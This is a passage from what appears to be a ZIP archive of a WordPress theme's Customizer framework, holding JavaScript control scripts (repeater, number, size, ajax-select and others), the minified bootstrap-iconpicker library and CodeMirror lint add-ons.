		});
		$targetDiv.find( '.hidden-field' ).val( '' );
		$uploadButton.text( $uploadButton.data( 'label' ) );
		this.$thisButton.hide();

		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );

	},

	/**
	 * Get the current value of the setting
	 *
	 * @return Object
	 */
	getValue: function() {

		'use strict';

		// The setting is saved in JSON
		return JSON.parse( decodeURI( this.setting.get() ) );

	},

	/**
	 * Set a new value for the setting
	 *
	 * @param newValue Object
	 * @param refresh If we want to refresh the previewer or not
	 */
	setValue: function( newValue, refresh, filtering ) {

		'use strict';

		// We need to filter the values after the first load to remove data requrired for diplay but that we don't want to save in DB
		var filteredValue = newValue,
			filter        = [];

		if ( filtering ) {
			jQuery.each( this.params.fields, function( index, value ) {
				if ( 'image' === value.type || 'cropped_image' === value.type || 'upload' === value.type ) {
					filter.push( index );
				}
			});
			jQuery.each( newValue, function( index, value ) {
				jQuery.each( filter, function( ind, field ) {
					if ( 'undefined' !== typeof value[field] && 'undefined' !== typeof value[field].id ) {
						filteredValue[index][field] = value[field].id;
					}
				});
			});

		}

		this.setting.set( encodeURI( JSON.stringify( filteredValue ) ) );

		if ( refresh ) {

			// Trigger the change event on the hidden field so
			// previewer refresh the website on Customizer
			this.settingField.trigger( 'change' );

		}

	},

	/**
	 * Add a new row to repeater settings based on the structure.
	 *
	 * @param data (Optional) Object of field => value pairs (undefined if you want to get the default values)
	 */
	addRow: function( data ) {

		'use strict';

		var control       = this,
			template      = control.repeaterTemplate(), // The template for the new row (defined on render_content() ).
			settingValue  = this.getValue(), // Get the current setting value.
			newRowSetting = {}, // Saves the new setting data.
			templateData, // Data to pass to the template
			newRow,
			i;

		if ( template ) {

			// The control structure is going to define the new fields
			// We need to clone control.params.fields. Assigning it
			// ould result in a reference assignment.
			templateData = jQuery.extend( true, {}, control.params.fields );

			// But if we have passed data, we'll use the data values instead
			if ( data ) {
				for ( i in data ) {
					if ( data.hasOwnProperty( i ) && templateData.hasOwnProperty( i ) ) {
						templateData[ i ]['default'] = data[ i ];
					}
				}
			}

			templateData.index = this.currentIndex;

			// Append the template content
			template = template( templateData );

			// Create a new row object and append the element
			newRow = new RepeaterRow(
				control.currentIndex,
				jQuery( template ).appendTo( control.repeaterFieldsContainer ),
				control.params.row_label
			);

			newRow.container.on( 'row:remove', function( e, rowIndex ) {
				control.deleteRow( rowIndex );
			});

			newRow.container.on( 'row:update', function( e, rowIndex, fieldName, element ) {
				control.updateField.call( control, e, rowIndex, fieldName, element );
				newRow.updateLabel();
			});

			// Add the row to rows collection
			this.rows[ this.currentIndex ] = newRow;

			for ( i in templateData ) {
				if ( templateData.hasOwnProperty( i ) ) {
					newRowSetting[ i ] = templateData[ i ]['default'];
				}
			}

			settingValue[ this.currentIndex ] = newRowSetting;
			this.setValue( settingValue, true );

			this.currentIndex++;

			return newRow;

		}

	},

	sort: function() {

		'use strict';

		var control     = this,
			$rows       = this.repeaterFieldsContainer.find( '.repeater-row' ),
			newOrder    = [],
			settings    = control.getValue(),
			newRows     = [],
			newSettings = [];

		$rows.each( function( i, element ) {
			newOrder.push( jQuery( element ).data( 'row' ) );
		});

		jQuery.each( newOrder, function( newPosition, oldPosition ) {
			newRows[ newPosition ] = control.rows[ oldPosition ];
			newRows[ newPosition ].setRowIndex( newPosition );

			newSettings[ newPosition ] = settings[ oldPosition ];
		});

		control.rows = newRows;
		control.setValue( newSettings );

	},

	/**
	 * Delete a row in the repeater setting
	 *
	 * @param index Position of the row in the complete Setting Array
	 */
	deleteRow: function( index ) {

		'use strict';

		var currentSettings = this.getValue(),
			row,
			i,
			prop;

		if ( currentSettings[ index ] ) {

			// Find the row
			row = this.rows[ index ];
			if ( row ) {

				// The row exists, let's delete it

				// Remove the row settings
				delete currentSettings[ index ];

				// Remove the row from the rows collection
				delete this.rows[ index ];

				// Update the new setting values
				this.setValue( currentSettings, true );

			}

		}

		// Remap the row numbers
		i = 1;
		for ( prop in this.rows ) {
			if ( this.rows.hasOwnProperty( prop ) && this.rows[ prop ] ) {
				this.rows[ prop ].updateLabel();
				i++;
			}
		}

	},

	/**
	 * Update a single field inside a row.
	 * Triggered when a field has changed
	 *
	 * @param e Event Object
	 */
	updateField: function( e, rowIndex, fieldId, element ) {

		'use strict';

		var type,
			row,
			currentSettings;

		if ( ! this.rows[ rowIndex ] ) {
			return;
		}

		if ( ! this.params.fields[ fieldId ] ) {
			return;
		}

		type            = this.params.fields[ fieldId].type;
		row             = this.rows[ rowIndex ];
		currentSettings = this.getValue();

		element = jQuery( element );

		if ( undefined === typeof currentSettings[ row.rowIndex ][ fieldId ] ) {
			return;
		}

		if ( 'checkbox' === type ) {

			currentSettings[ row.rowIndex ][ fieldId ] = element.is( ':checked' );

		} else {

			// Update the settings
			currentSettings[ row.rowIndex ][ fieldId ] = element.val();

		}
		this.setValue( currentSettings, true );

	},

	/**
	 * Init the color picker on color fields
	 * Called after AddRow
	 *
	 */
	initColorPicker: function() {

		'use strict';

		var control     = this,
			colorPicker = control.container.find( '.color-picker-hex' ),
			options     = {},
			fieldId     = colorPicker.data( 'field' );

		// We check if the color palette parameter is defined.
		if ( 'undefined' !== typeof fieldId && 'undefined' !== typeof control.params.fields[ fieldId ] && 'undefined' !== typeof control.params.fields[ fieldId ].palettes && 'object' === typeof control.params.fields[ fieldId ].palettes ) {
			options.palettes = control.params.fields[ fieldId ].palettes;
		}

		// When the color picker value is changed we update the value of the field
		options.change = function( event, ui ) {

			var currentPicker   = jQuery( event.target ),
				row             = currentPicker.closest( '.repeater-row' ),
				rowIndex        = row.data( 'row' ),
				currentSettings = control.getValue();

			currentSettings[ rowIndex ][ currentPicker.data( 'field' ) ] = ui.color.toString();
			control.setValue( currentSettings, true );

		};

		// Init the color picker
		if ( 0 !== colorPicker.length ) {
			colorPicker.wpColorPicker( options );
		}

	},

	/**
	 * Init the dropdown-pages field with selectize
	 * Called after AddRow
	 *
	 * @param {object} theNewRow the row that was added to the repeater
	 * @param {object} data the data for the row if we're initializing a pre-existing row
	 *
	 */
	initDropdownPages: function( theNewRow, data ) {

		'use strict';

		var control  = this,
			dropdown = theNewRow.container.find( '.repeater-dropdown-pages select' ),
			$select,
			selectize,
			dataField;

		if ( 0 === dropdown.length ) {
			return;
		}

		$select   = jQuery( dropdown ).selectize();
		selectize = $select[0].selectize;
		dataField = dropdown.data( 'field' );

		if ( data ) {
			selectize.setValue( data[dataField] );
		}

		this.container.on( 'change', '.repeater-dropdown-pages select', function( event ) {

			var currentDropdown = jQuery( event.target ),
				row             = currentDropdown.closest( '.repeater-row' ),
				rowIndex        = row.data( 'row' ),
				currentSettings = control.getValue();

			currentSettings[ rowIndex ][ currentDropdown.data( 'field' ) ] = jQuery( this ).val();
			control.setValue( currentSettings );

		});

	}

});
PK     0w\ 3  3  B  customizer/framework/assets/js/customizer-control/control-image.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-image'] = api.ImageControl.extend({
    initialize: function( id, options ) {
      api.Control.prototype.initialize.call( this, id, options );
      window.initializeControl(this, id, options);
    },
  });
})(jQuery, wp.customize);
PK     0w\4-B+5  5  C  customizer/framework/assets/js/customizer-control/control-upload.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-upload'] = api.UploadControl.extend({
    initialize: function( id, options ) {
      api.Control.prototype.initialize.call( this, id, options );
      window.initializeControl(this, id, options);
    },
  });
})(jQuery, wp.customize);
PK     0w\%,  ,  C  customizer/framework/assets/js/customizer-control/control-number.jsnu [        wp.customize.controlConstructor['soledad-fw-number'] = wp.customize.controlConstructor.default.extend({

	ready: function() {
		'use strict';

		var control = this,
		    element = this.container.find( 'input' ),
		    min     = -99999,
		    max     = 99999,
		    step    = 1;

		// Set minimum value.
		if ( 'undefined' !== typeof control.params.choices && 'undefined' !== typeof control.params.choices.min ) {
			min = control.params.choices.min;
		}

		// Set maximum value.
		if ( 'undefined' !== typeof control.params.choices && 'undefined' !== typeof control.params.choices.max ) {
			max = control.params.choices.max;
		}

		// Set step value.
		if ( 'undefined' !== typeof control.params.choices && 'undefined' !== typeof control.params.choices.step ) {
			step = control.params.choices.step;
			if ( 'any' === control.params.choices.step ) {
				step = '0.001';
			}
		}

		// Init the spinner
		var spinInput = jQuery( element ).spinner({
			min: min,
			max: max,
			step: step
		});

		// disable mousewheel
		spinInput.on("spin", function (evt, ui) {
			if (evt.originalEvent && evt.originalEvent.type === 'mousewheel') {
				evt.preventDefault();
			}
		});

		// On change
		this.container.on( 'change click keyup paste', 'input', function() {
			control.setting.set( jQuery( this ).val() );
		});

	}

});
PK     0w\|4?  ?  C  customizer/framework/assets/js/customizer-control/control-header.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-header'] = api.controlConstructor.default.extend({

    ready: function() {
      var header = this;
      var container = header.container.get(0);
      $(container).on('click', header.click.bind(container));
    },

    click: function(){
      var collapsedClass = 'customizer-collapsed',
          flag = true;

      var recursive_control = function(element, flag)
      {
        var $next = $(element).next();

        if( $next.length === 0 ) return;

        if(!$next.hasClass('customize-control-soledad-fw-header'))
        {
          if(flag) {
            $next.addClass(collapsedClass);
          } else {
            $next.removeClass(collapsedClass);
          }

          recursive_control($next, flag)
        }
      };

      if($(this).hasClass('collapsed'))
      {
        $(this).removeClass('collapsed');
        flag = false;
      } else {
        $(this).addClass('collapsed');
        flag = true;
      }

      recursive_control(this, flag);
    }

  });
})(jQuery, wp.customize);
PK     0w\    H  customizer/framework/assets/js/customizer-control/control-ajax-select.jsnu [        /*jshint -W065 */
wp.customize.controlConstructor['soledad-fw-ajax-select'] = wp.customize.controlConstructor.default.extend({
	ready: function() {
		'use strict';

		var control = this,
			section = jQuery(this.container).parents('.control-section').first();

		var element = control.container.find( 'select' ),
			multiple = parseInt( element.data( 'multiple' ) ),
			selectValue,
			action = jQuery(element).data('action');

		jQuery( element ).selectize({
            plugins: ['drag_drop', 'remove_button'],
            persist: true,
            create: true,
            hideSelected: true,
            valueField: 'value',
            labelField: 'text',
            allowEmptyOption: true,
            render: {
                option: function(item, escape) {
                    var text = item.text;
                    if(text === undefined) {
                        return '<div><span>' + item.value + '</span></div>';
                    } else {
                        return '<div><span>' + text + '</span></div>';
                    }
                }
            },
            load: function(query, callback) {
                if (!query.length || query.length < 3) return callback();
                $.ajax({
                    url: ajaxurl,
                    type: 'POST',
                    dataType: 'json',
                    data: {
                        'string' : encodeURIComponent(query),
                        'action'  : action
                    },
                    error: function() {
                        callback();
                    },
                    success: function(res) {
                        callback(res);
                    }
                });
            }
		});

		// Change value
		control.container.on( 'change', 'select', function() {
			selectValue = jQuery( this ).val();

			// If this is a multi-select, then we need to convert the value to an object.
			if ( multiple > 1 ) {
				selectValue = _.extend( {}, jQuery( this ).val() );
			}

			control.setting.set( selectValue );
		});
	}
});
PK     0w\7    A  customizer/framework/assets/js/customizer-control/control-size.jsnu [        (function ($, api) {
    "use strict";

    api.controlConstructor['soledad-fw-size'] = api.controlConstructor.default.extend({
        ready: function () {
            'use strict';
            var control = this,
                value,
                thisInput,
                inputDefault,
                changeAction,
                controlClass = '.customize-control-soledad-fw-size',
                footerControl = jQuery('#customize-footer-actions');

            // Calling range slider
            jQuery('.pencidesign-range-slider').each(function () {
                var _this = jQuery(this);
                var _input = _this.closest('label').find('input[type="number"]');
                var _text = _input.next('.value');
            });

            // Update the range value
            jQuery(controlClass + ' .penci_range_value input[type=number]').on('input', function () {
                value = jQuery(this).attr('value');
                if ('' == value) {
                    value = -1;
                }
            });

            // Reset button
            jQuery(controlClass + ' .pencidesign-reset').on('click', function () {
                var icon = jQuery(this),
                    visible_area = icon.closest('.penci-range-title-area').next('.penci-range-slider-areas').children('label:visible'),
                    input = visible_area.find('input[type=number]'),
                    slider_value = visible_area.find('.pencidesign-range-slider'),
                    visual_value = visible_area.find('.penci_range_value'),
                    reset_value = input.attr('data-reset_value');

                input.val(reset_value).change();
                visual_value.find('input').val(reset_value);
                visual_value.find('.value').text(reset_value);

                if ('' == reset_value) {
                    reset_value = -1;
                }
            });

            // Activate icon when click
            jQuery(controlClass + ' .pencidesign-range-slider-control').each(function () {
                var _this = jQuery(this);
                _this.find('.penci-device-controls').children('span:first-child').addClass('selected');
                _this.find('.range-option-area:first-child').show();
            });

            // Click on icons
            jQuery(controlClass + ' .penci-device-controls > span').on('click', function (event) {
                var device = jQuery(this).data('option');

                jQuery(controlClass + ' .penci-device-controls span').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.addClass('selected');
                        _this.siblings().removeClass('selected');
                    }
                });

                jQuery(controlClass + ' .penci-range-slider-areas label').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.show();
                        _this.siblings().hide();
                    }
                });

                // Set the device currently viewing
                wp.customize.previewedDevice.set(jQuery(event.currentTarget).data('option'));
            });

            // Change devices on footer
            footerControl.find('.devices button').on('click', function () {
                var device = jQuery(this).data('device');
                jQuery(controlClass + ' .penci-device-controls span').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.addClass('selected');
                        _this.siblings().removeClass('selected');
                    }
                });

                jQuery(controlClass + ' .penci-range-slider-areas label').each(function () {
                    var _this = jQuery(this);
                    if (device == _this.attr('data-option')) {
                        _this.show();
                        _this.siblings().hide();
                    }
                });
            });

            // Apply for desktop
            control.container.on('input change', '.desktop-range',
                function () {
                    var id = $(this).attr('data-customize-setting-key-link').toString(),
                        desktop = api.control.instance( id );

                    desktop.setting.set(jQuery(this).val());
                }
            );

            // Apply for mobile
            control.container.on('input change', '.mobile-range',
                function () {
                    var id = $(this).attr('data-customize-setting-key-link').toString(),
                        mobile = api.control.instance( id );

                    mobile.setting.set(jQuery(this).val());
                }
            );
        }
    });
    api.controlConstructor['soledad-fw-hidden'] = api.controlConstructor.default.extend();
})(jQuery, wp.customize);
PK     0w\ZN    I  customizer/framework/assets/js/customizer-control/control-preset-image.jsnu [        (function ($, api) {
  "use strict";

  api.controlConstructor['soledad-fw-preset-image'] = api.controlConstructor.default.extend({
    ready: function () {
      var $select,
        selectize,
        value,
        container;

      // Change the value
      var setting = $(this.container).find('.image').data('link');

      $(this.container).find('label').on('click', function () {
        value = $(this).data('id');

        // find the container
        container = $(api.control(setting).container.find('select'));

        // Need to change content of selectize dropdown
        $select = container.selectize();
        selectize = $select[0].selectize;
        selectize.setValue(value, true);

        // Update the value in the customizer object
        api.control(setting).setting.set(value);

        // now trigger change
        $(container).change();
      });
    }
  });
})(jQuery, wp.customize);
PK     0w\H;fW/  /  A  customizer/framework/assets/js/vendor/bootstrap-iconpicker.min.jsnu [        /*!========================================================================
* File: bootstrap-iconpicker.min.js v1.9.0 by @victor-valencia
* https://victor-valencia.github.com/bootstrap-iconpicker
* ========================================================================
* Copyright 2013-2017 Victor Valencia Rico.
* Licensed under MIT license.
* https://github.com/victor-valencia/bootstrap-iconpicker/blob/master/LICENSE
* ========================================================================
*/

!function($){"use strict";var Iconpicker=function(element,options){this.$element=$(element),this.options=$.extend({},Iconpicker.DEFAULTS,this.$element.data()),this.options=$.extend({},this.options,options)};Iconpicker.VERSION="1.9.0",Iconpicker.ICONSET_EMPTY={iconClass:"",iconClassFix:"",icons:[]},Iconpicker.ICONSET={_custom:null,elusiveicon:$.iconset_elusiveicon||Iconpicker.ICONSET_EMPTY,flagicon:$.iconset_flagicon||Iconpicker.ICONSET_EMPTY,fontawesome:$.iconset_fontawesome||Iconpicker.ICONSET_EMPTY,glyphicon:$.iconset_glyphicon||Iconpicker.ICONSET_EMPTY,ionicon:$.iconset_ionicon||Iconpicker.ICONSET_EMPTY,mapicon:$.iconset_mapicon||Iconpicker.ICONSET_EMPTY,materialdesign:$.iconset_materialdesign||Iconpicker.ICONSET_EMPTY,octicon:$.iconset_octicon||Iconpicker.ICONSET_EMPTY,typicon:$.iconset_typicon||Iconpicker.ICONSET_EMPTY,weathericon:$.iconset_weathericon||Iconpicker.ICONSET_EMPTY},Iconpicker.DEFAULTS={align:"center",arrowClass:"btn-primary",arrowNextIconClass:"glyphicon glyphicon-arrow-right",arrowPrevIconClass:"glyphicon glyphicon-arrow-left",cols:4,icon:"",iconset:"glyphicon",iconsetVersion:"lastest",header:!0,labelHeader:"{0} / {1}",footer:!0,labelFooter:"{0} - {1} of {2}",placement:"bottom",rows:4,search:!0,searchText:"Search icon",selectedClass:"btn-warning",unselectedClass:"btn-default"},Iconpicker.prototype.bindEvents=function(){var op=this.options,el=this;op.table.find(".btn-previous, .btn-next").off("click").on("click",function(e){if(e.preventDefault(),!$(this).hasClass("disabled")){var inc=parseInt($(this).val(),10);el.changeList(op.page+inc)}}),op.table.find(".btn-icon").off("click").on("click",function(e){e.preventDefault(),el.select($(this).val()),op.inline===!1?el.$element.popover("destroy"):op.table.find("i."+$(this).val()).parent().addClass(op.selectedClass)}),op.table.find(".search-control").off("keyup").on("keyup",function(){el.changeList(1)})},Iconpicker.prototype.changeList=function(page){this.filterIcons(),this.updateLabels(page),this.updateIcons(page),this.options.page=page,this.bindEvents()},Iconpicker.prototype.filterIcons=function(){var op=this.options,search=op.table.find(".search-control").val(),icons=[];if("lastest"!=op.iconsetVersion&&"undefined"!=typeof Iconpicker.ICONSET[op.iconset].allVersions?$.each(Iconpicker.ICONSET[op.iconset].allVersions,function(i,v){op.iconsetVersion==v.version&&(icons=v.icons)}):icons=Iconpicker.ICONSET[op.iconset].icons,""===search)op.icons=icons;else{var result=[];$.each(icons,function(i,v){v.toLowerCase().indexOf(search)>-1&&result.push(v)}),op.icons=result}},Iconpicker.prototype.removeAddClass=function(target,remove,add){return this.options.table.find(target).removeClass(remove).addClass(add),add},Iconpicker.prototype.reset=function(){this.updatePicker(),this.changeList(1)},Iconpicker.prototype.select=function(icon){var op=this.options,el=this.$element;op.selected=$.inArray(icon.replace(op.iconClassFix,""),op.icons),-1===op.selected&&(op.selected=0,icon=op.iconClassFix+op.icons[op.selected]),""!==icon&&op.selected>=0&&(op.icon=icon,op.inline===!1&&(el.find("input").val(icon),el.find("i").attr("class","").addClass(op.iconClass).addClass(icon)),icon===op.iconClassFix?el.trigger({type:"change",icon:"empty"}):(el.trigger({type:"change",icon:icon}),el.find("input").val(icon)),op.table.find("button."+op.selectedClass).removeClass(op.selectedClass))},Iconpicker.prototype.switchPage=function(icon){var op=this.options;if(op.selected=$.inArray(icon.replace(op.iconClassFix,""),op.icons),op.selected>=0){var page=Math.ceil((op.selected+1)/this.totalIconsPerPage());this.changeList(page)}""===icon?op.table.find("i."+op.iconClassFix).parent().addClass(op.selectedClass):op.table.find("i."+icon).parent().addClass(op.selectedClass)},Iconpicker.prototype.totalPages=function(){return Math.ceil(this.totalIcons()/this.totalIconsPerPage())},Iconpicker.prototype.totalIcons=function(){return this.options.icons.length},Iconpicker.prototype.totalIconsPerPage=function(){return 0===this.options.rows?this.options.icons.length:this.options.cols*this.options.rows},Iconpicker.prototype.updateArrows=function(page){var op=this.options,total_pages=this.totalPages();1===page?op.table.find(".btn-previous").addClass("disabled"):op.table.find(".btn-previous").removeClass("disabled"),page===total_pages||0===total_pages?op.table.find(".btn-next").addClass("disabled"):op.table.find(".btn-next").removeClass("disabled")},Iconpicker.prototype.updateIcons=function(page){var op=this.options,tbody=op.table.find("tbody").empty(),offset=(page-1)*this.totalIconsPerPage(),length=op.rows;0===op.rows&&(length=op.icons.length);for(var i=0;length>i;i++){for(var tr=$("<tr></tr>"),j=0;j<op.cols;j++){var pos=offset+i*op.cols+j,btn=$('<button class="btn '+op.unselectedClass+' btn-icon"></button>').hide();if(pos<op.icons.length){var v=op.iconClassFix+op.icons[pos];btn.val(v).attr("title",v).append('<i class="'+op.iconClass+" "+v+'"></i>').show(),op.icon===v&&btn.addClass(op.selectedClass).addClass("btn-icon-selected")}tr.append($("<td></td>").append(btn))}tbody.append(tr)}},Iconpicker.prototype.updateIconsCount=function(){var op=this.options;if(op.footer===!0){var icons_count=["<tr>",'   <td colspan="'+op.cols+'" class="text-center">','       <span class="icons-count"></span>',"   </td>","</tr>"];op.table.find("tfoot").empty().append(icons_count.join(""))}},Iconpicker.prototype.updateLabels=function(page){var op=this.options,total_icons=this.totalIcons(),total_pages=this.totalPages();op.table.find(".page-count").html(op.labelHeader.replace("{0}",0===total_pages?0:page).replace("{1}",total_pages));var offset=(page-1)*this.totalIconsPerPage(),total=page*this.totalIconsPerPage();op.table.find(".icons-count").html(op.labelFooter.replace("{0}",total_icons?offset+1:0).replace("{1}",total_icons>total?total:total_icons).replace("{2}",total_icons)),this.updateArrows(page)},Iconpicker.prototype.updatePagesCount=function(){var op=this.options;if(op.header===!0){for(var tr=$("<tr></tr>"),i=0;i<op.cols;i++){var td=$('<td class="text-center"></td>');if(0===i||i===op.cols-1){var arrow=['<button class="btn btn-arrow '+(0===i?"btn-previous":"btn-next")+" "+op.arrowClass+'" value="'+(0===i?-1:1)+'">','<span class="'+(0===i?op.arrowPrevIconClass:op.arrowNextIconClass)+'"></span>',"</button>"];td.append(arrow.join("")),tr.append(td)}else 0===tr.find(".page-count").length&&(td.attr("colspan",op.cols-2).append('<span class="page-count"></span>'),tr.append(td))}op.table.find("thead").empty().append(tr)}},Iconpicker.prototype.updatePicker=function(){var op=this.options;if(op.cols<4)throw"Iconpicker => The number of columns must be greater than or equal to 4. [option.cols = "+op.cols+"]";if(op.rows<0)throw"Iconpicker => The number of rows must be greater than or equal to 0. [option.rows = "+op.rows+"]";this.updatePagesCount(),this.updateSearch(),this.updateIconsCount()},Iconpicker.prototype.updateSearch=function(){var op=this.options,search=["<tr>",'   <td colspan="'+op.cols+'">','       <input type="text" class="form-control search-control" style="width: '+39*op.cols+'px;" placeholder="'+op.searchText+'">',"   </td>","</tr>"];search=$(search.join("")),op.search===!0?search.show():search.hide(),op.table.find("thead").append(search)},Iconpicker.prototype.setAlign=function(value){this.$element.removeClass(this.options.align).addClass(value),this.options.align=value},Iconpicker.prototype.setArrowClass=function(value){this.options.arrowClass=this.removeAddClass(".btn-arrow",this.options.arrowClass,value)},Iconpicker.prototype.setArrowNextIconClass=function(value){this.options.arrowNextIconClass=this.removeAddClass(".btn-next > span",this.options.arrowNextIconClass,value)},Iconpicker.prototype.setArrowPrevIconClass=function(value){this.options.arrowPrevIconClass=this.removeAddClass(".btn-previous > span",this.options.arrowPrevIconClass,value)},Iconpicker.prototype.setCols=function(value){this.options.cols=value,this.reset()},Iconpicker.prototype.setFooter=function(value){var footer=this.options.table.find("tfoot");value===!0?footer.show():footer.hide(),this.options.footer=value},Iconpicker.prototype.setHeader=function(value){var header=this.options.table.find("thead");value===!0?header.show():header.hide(),this.options.header=value},Iconpicker.prototype.setIcon=function(value){this.select(value)},Iconpicker.prototype.setIconset=function(value){var op=this.options;$.isPlainObject(value)?(Iconpicker.ICONSET._custom=$.extend(Iconpicker.ICONSET_EMPTY,value),op.iconset="_custom"):Iconpicker.ICONSET.hasOwnProperty(value)?op.iconset=value:op.iconset=Iconpicker.DEFAULTS.iconset,op=$.extend(op,Iconpicker.ICONSET[op.iconset]),this.reset(),this.select(op.icon)},Iconpicker.prototype.setLabelHeader=function(value){this.options.labelHeader=value,this.updateLabels(this.options.page)},Iconpicker.prototype.setLabelFooter=function(value){this.options.labelFooter=value,this.updateLabels(this.options.page)},Iconpicker.prototype.setPlacement=function(value){this.options.placement=value},Iconpicker.prototype.setRows=function(value){this.options.rows=value,this.reset()},Iconpicker.prototype.setSearch=function(value){var search=this.options.table.find(".search-control");value===!0?search.show():search.hide(),search.val(""),this.changeList(1),this.options.search=value},Iconpicker.prototype.setSearchText=function(value){this.options.table.find(".search-control").attr("placeholder",value),this.options.searchText=value},Iconpicker.prototype.setSelectedClass=function(value){this.options.selectedClass=this.removeAddClass(".btn-icon-selected",this.options.selectedClass,value)},Iconpicker.prototype.setUnselectedClass=function(value){this.options.unselectedClass=this.removeAddClass(".btn-icon",this.options.unselectedClass,value)};var old=$.fn.iconpicker;$.fn.iconpicker=function(option,params){return this.each(function(){var $this=$(this),data=$this.data("bs.iconpicker"),options="object"==typeof option&&option;if(data||$this.data("bs.iconpicker",data=new Iconpicker(this,options)),"string"==typeof option){if("undefined"==typeof data[option])throw'Iconpicker => The "'+option+'" method does not exists.';data[option](params)}else{var op=data.options;op=$.extend(op,{inline:!1,page:1,selected:-1,table:$('<table class="table-icons"><thead></thead><tbody></tbody><tfoot></tfoot></table>')});var name="undefined"!=typeof $this.attr("name")?'name="'+$this.attr("name")+'"':"";"BUTTON"===$this.prop("tagName")?($this.empty().append("<i></i>").append('<input type="hidden" '+name+"></input>").append('<span class="caret"></span>').addClass("iconpicker"),data.setIconset(op.iconset),$this.on("click",function(e){e.preventDefault(),$this.popover({animation:!1,trigger:"manual",html:!0,content:op.table,container:"body",placement:op.placement}).on("shown.bs.popover",function(){data.switchPage(op.icon),data.bindEvents()}),$this.data("bs.popover").tip().addClass("iconpicker-popover"),$this.popover("show")})):(op.inline=!0,data.setIconset(op.iconset),$this.empty().append('<input type="hidden" '+name+"></input>").append(op.table).addClass("iconpicker").addClass(op.align),data.switchPage(op.icon),data.bindEvents())}})},$.fn.iconpicker.Constructor=Iconpicker,$.fn.iconpicker.noConflict=function(){return $.fn.iconpicker=old,this},$(document).on("click","body",function(e){$(".iconpicker").each(function(){$(this).is(e.target)||0!==$(this).has(e.target).length||0!==$(".popover").has(e.target).length||$(this).popover("destroy")})}),$('button[role="iconpicker"],div[role="iconpicker"]').iconpicker()}(jQuery);PK     0w\u    H  customizer/framework/assets/js/vendor/codemirror/addon/lint/json-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on jsonlint.js from https://github.com/zaach/jsonlint

// declare global: jsonlint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "json", function(text) {
  var found = [];
  jsonlint.parseError = function(str, hash) {
    var loc = hash.loc;
    found.push({from: CodeMirror.Pos(loc.first_line - 1, loc.first_column),
                to: CodeMirror.Pos(loc.last_line - 1, loc.last_column),
                message: str});
  };
  try { jsonlint.parse(text); }
  catch(e) {}
  return found;
});

});
PK     0w\rz  z  G  customizer/framework/assets/js/vendor/codemirror/addon/lint/css-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on csslint.js from https://github.com/stubbornella/csslint

// declare global: CSSLint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "css", function(text) {
  var found = [];
  if (!window.CSSLint) return found;
  var results = CSSLint.verify(text), messages = results.messages, message = null;
  for ( var i = 0; i < messages.length; i++) {
    message = messages[i];
    var startLine = message.line -1, endLine = message.line -1, startCol = message.col -1, endCol = message.col;
    found.push({
      from: CodeMirror.Pos(startLine, startCol),
      to: CodeMirror.Pos(endLine, endCol),
      message: message.message,
      severity : message.type
    });
  }
  return found;
});

});
PK     0w\q1    H  customizer/framework/assets/js/vendor/codemirror/addon/lint/html-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on htmlhint.js from http://htmlhint.com/js/htmlhint.js

// declare global: HTMLHint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("htmlhint"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "htmlhint"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var defaultRules = {
    "tagname-lowercase": true,
    "attr-lowercase": true,
    "attr-value-double-quotes": true,
    "doctype-first": false,
    "tag-pair": true,
    "spec-char-escape": true,
    "id-unique": true,
    "src-not-empty": true,
    "attr-no-duplication": true
  };

  CodeMirror.registerHelper("lint", "html", function(text, options) {
    var found = [];
    if (!window.HTMLHint) return found;
    var messages = HTMLHint.verify(text, options && options.rules || defaultRules);
    for (var i = 0; i < messages.length; i++) {
      var message = messages[i];
      var startLine = message.line - 1, endLine = message.line - 1, startCol = message.col - 1, endCol = message.col;
      found.push({
        from: CodeMirror.Pos(startLine, startCol),
        to: CodeMirror.Pos(endLine, endCol),
        message: message.message,
        severity : message.type
      });
    }
    return found;
  });
});
PK     0w\    P  customizer/framework/assets/js/vendor/codemirror/addon/lint/coffeescript-lint.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

// Depends on coffeelint.js from http://www.coffeelint.org/js/coffeelint.js

// declare global: coffeelint

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.registerHelper("lint", "coffeescript", function(text) {
  var found = [];
  var parseError = function(err) {
    var loc = err.lineNumber;
    found.push({from: CodeMirror.Pos(loc-1, 0),
                to: CodeMirror.Pos(loc, 0),
                severity: err.level,
                message: err.message});
  };
  try {
    var res = coffeelint.lint(text);
    for(var i = 0; i < res.length; i++) {
      parseError(res[i]);
    }
  } catch(e) {
    found.push({from: CodeMirror.Pos(e.location.first_line, 0),
